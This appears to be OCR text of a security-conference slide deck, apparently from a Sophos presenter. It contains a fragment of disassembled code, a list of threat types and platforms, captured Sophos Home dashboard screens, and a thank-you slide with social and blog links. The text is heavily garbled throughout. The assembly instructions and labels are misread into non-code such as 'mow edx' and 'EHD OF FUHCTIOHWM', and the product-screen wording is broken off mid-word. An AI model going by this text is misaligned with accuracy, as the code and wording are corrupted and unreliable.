jmp loc_ 483Aa37

EHD OF FUHCTIOHWM CHUHMK FOR start
align &4

dd & dup{@})

db 3 dup{@j)

5 START OF FUNCTION CHUHK FOR sub_ LO3IE92

loc_ 483347 : ; CODE XREF: sub_L483E
mo ed=, ecx
mow edx, S5766151h
add esi, 4D733%h
push eax
mow edi, offset unk_ 433337
sub edi, G6478h
dec aehw



... across all the platforms and threat types

* Email spam

* Malicious software
* Adware

* Application control

* Windows (32/64)
* Android

* Linux

* (OSX

e ... and browsers!
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https://home.sophos.com/

Create Account

SOPHOS sessmnransn

Home

Free Business-Grade
Security for Your Home
Macs and PCs.

Full Scan

Protection

Automatic Virus Protection

Checks and tects you ir al-time fr

Web Protection
Blocks websites that are

Sophos Home

Q Scan Now

d remove threats from your

Potentially Unwanted App Detection

Detects potentially unwanted app

1stalling or ru

SOPHOS

cations eal-time and prevents then

SOPHOS

Dashboard

@ SURFACE3
e Upstairs iMac
e Win10Golf

Alerts
& Home Dashboard

SURFACE3
a

Winl0Gol!
8 A detected

Winl0Gotf
'y A

Exceptions...

+ ON

+ ON

from + ON

7 Help i About




Thank you!

Twitter:
@samosseiko

Blogs:
http://nakedsecurity.sophos.com/
http://blogs.sophos.com/



http://nakedsecurity.sophos.com/
http://blogs.sophos.com/

Questions?
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